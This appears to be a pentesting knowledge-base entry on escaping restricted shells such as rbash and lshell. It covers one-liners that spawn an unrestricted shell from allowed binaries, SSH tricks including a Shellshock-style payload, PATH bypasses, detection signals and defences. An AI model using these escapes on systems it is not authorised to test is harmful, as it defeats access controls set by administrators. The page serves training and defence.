the_open_door
coffee
ESEN
← Back to index

Restricted shell escape

A restricted shell (rbash, rksh, lshell, etc.) limits what a user can do after logging in: it typically forbids cd, prevents changing variables like PATH (which is left readonly), blocks commands containing /, and leaves a PATH pointing to a single directory with a handful of allowed binaries. Its goal is to contain the user; the attacker's is to break that container to reach a normal shell.

The first move is to inventory what's allowed: what lives in the restricted PATH directory. A single binary that can spawn a child shell is enough to escape:

echo $PATH          # e.g. /home/eleanor/bin (readonly)
ls /home/eleanor/bin
# chmod chown ed ls mv ping sleep touch

Many everyday utilities have a documented "shell" function on GTFOBins. Here ed (the line editor) stands out: its ! command runs a system program, so it opens a shell that does not inherit the rbash restrictions:

ed
!/bin/sh

Once in the child shell, the first thing is to rebuild a usable PATH (the rbash one pointed to a single directory) to recover all commands:

export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:$PATH
id

Spawn from an allowed binary

Depending on which allowed binary can launch a child, the escape changes. One line per case:

ed                                                  # inside: !/bin/sh
vi -c ':!/bin/sh'                                   # or :set shell=/bin/sh + :shell
vim -c ':py3 import os; os.execl("/bin/sh","sh")'
man man                                             # inside: !/bin/sh
less /etc/profile                                   # inside: !/bin/sh
awk 'BEGIN {system("/bin/sh")}'
find / -name x -exec /bin/sh \; -quit
python3 -c 'import os; os.system("/bin/sh")'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e 'os.execute("/bin/sh")'
scp -S /tmp/x.sh x y:                               # scp runs whatever "ssh" we pass it

The key is always the same: an allowed process that spawns another process outside the restricted shell's control.

Escape at the connection itself (before rbash)

If the restriction is applied at login, you can sometimes avoid it by never loading the restricted shell: ask SSH for another shell or inject a command into the connection line.

ssh user@<ip> -t "bash --noprofile"                 # force a normal bash with no profiles
ssh user@<ip> -t "/bin/sh"                           # ask for sh directly
ssh user@<ip> "() { :; }; /bin/bash"                 # if the ForceCommand is Shellshock-prone
ssh user@<ip> -o "ProxyCommand=/bin/sh -c 'sh 0<&2 1>&2' " x   # local ProxyCommand

Bypass the PATH and "/" restrictions

When rbash blocks commands with / and leaves PATH read-only, use variables and initialisers read before the restriction applies, or functions with no / in them:

BASH_CMDS[a]=/bin/sh; a                              # fills the command hash table
export PATH=$PATH:/bin:/usr/bin                      # if PATH isn't readonly yet
IFS=/ ; X=($(echo /bin/sh)) ; ${X[*]}               # split the path without typing "/"

How to detect it. The signature is a child process of the restricted shell that is not one of the allowed binaries: an ed/vi/awk/python (or any interpreter) spawning sh/bash under a confined user's session (auditd/Sysmon for Linux over execve with rbash/lshell as ppid). An export PATH= or a rejected cd/command-with-/ lands in the history and in the lshell logs (/var/log/lshell/). Recon commands (id, uname -a, sudo -l) appearing right after login of an account that should only use a scoped menu are the escape indicator.

Defence. Don't trust security to rbash: check that the PATH directory holds no escape-capable binaries (editors, pagers, interpreters, find), mount the home without write permission over it, and prefer real isolation mechanisms (jails, containers, a tightly scoped ForceCommand). Related to GTFOBins binary abuse.

Machines where it's used

  • PeppoProving Grounds Practice